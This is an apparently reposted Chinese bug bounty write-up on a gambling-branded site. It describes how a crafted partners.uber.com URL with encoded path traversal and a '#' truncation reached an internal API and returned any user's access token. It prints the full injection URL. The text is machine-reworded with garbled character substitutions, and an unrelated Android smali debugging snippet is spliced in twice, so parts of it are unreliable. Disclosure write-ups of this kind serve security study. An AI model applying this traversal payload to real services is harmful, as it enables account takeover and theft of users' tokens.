Bug bounty:在Uber微效劳中猎取任何用户的接见令牌 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Bug bounty:在Uber微效劳中猎取任何用户的接见令牌

申博_安全预警 申博 130次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

Uber构建在一系列的微效劳之上,固然,若是您想与微效劳举行交互,您须要运用一些REST API来完成。
假定您想猎取驱动程序的历史记录,您可以或许挪用一个像如许的API:

https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01

明显,所有这些都是在后端实行的,由于内部微效劳一般没有权限搜检或其他安全措施来防备IDOR进击。
若是所有这些API挪用都是预界说的path/variables/host,那末完成受权搜检又有甚么意义呢?无论如何,用户无法掌握挪用,何须自找麻烦呢?
然则用户真的不克不及掌握API挪用吗?。2018年终,我在partners.uber.com中找到了一个风趣的端点,用于猎取驱动程序的月度信息。

https://partners.uber.com/p3/money/statements/view/current

这个挪用自身并没有甚么用,然则我对相应迥殊感兴趣。

{
  "request": {
    "uri": {
      "protocol": "http:",
      "slashes": true,
      "auth": null,
      "host": "127.0.0.1:123",
      "port": "123",
      "hostname": "127.0.0.1",
      "hash": null,
      "search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
      "query": "earnings_structure_type=&locale=en&user_id=xxxxx",
      "pathname": "/v1/partners/xxxxx/statements/current",
      "path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
      "href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
    },
   "token":"ACCESS_TOKEN_OF_USER",
....

很明显,API挪用在https://partners.uber.com/p3/money/statements/view/current 中猎取current,并将其附加到/v1/partners/xxxxxx/statements/的末端。另外,查询局部也会添加到挪用中。完全的内部GET要求以下所示

http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx

这是异常风趣的,依据相应我们可以或许观察到两个征象,第一个是它具有您的uber用户的接见令牌

关于安卓的调试方法(一)

smali语法简单介绍 invoke-statio 执行函数 move-result-object v1 执行结果放在v1 invoke-virtual 执行一些函数存在返回值 const-string v0 .. 定义变量v0=什么 简单记录下问题当突然adb找不到设备的时候可以执行adb kill-server and st

第二个是要求中没有x-auth-header或受权header,但它依然返回用户的接见令牌作为相应!
这意味着若是我们可以或许以某种体式格局支配要求,在要求中将my_user_uuid变动成victim_uuid,然后,我们可以或许经由过程从相应中猎取受害者的接见令牌来接受受害者的帐户。
我须要找到一个端点,该端点许可我实行以下操纵:
将任何参数传递给该内部GET要求
将编码后的字符传递给内部get要求,以制止背面碰到的不必要的查询。(%23,比方#可以或许中缀查询局部)
检察完全相应
效果,我找到了一个符合要求的要求:

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

Response of the GET request

"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"

我以为uuid 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa语句被传递给内部API GET要求途径和查询局部。
我经由过程发送这个要求考证了这一点。

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

回应和上面一样依然是雷同的,这外面./背面局部被转义了。以是,一向转义到根目录,然后组织一个可以或许返回接见令牌的要求,并运用#解释掉不必要的局部
我们挪用的目的要求:

http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid

在我们掌握下的要求:

http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id

末了一次挪用:

https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23

相应和预期一致:

http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#......

如今,我们可以或许经由过程变动要求中的VICTIM_UUID来猎取任何用户的接见令牌。

关于安卓的调试方法(一)

smali语法简单介绍 invoke-statio 执行函数 move-result-object v1 执行结果放在v1 invoke-virtual 执行一些函数存在返回值 const-string v0 .. 定义变量v0=什么 简单记录下问题当突然adb找不到设备的时候可以执行adb kill-server and st


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Bug bounty:在Uber微效劳中猎取任何用户的接见令牌
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址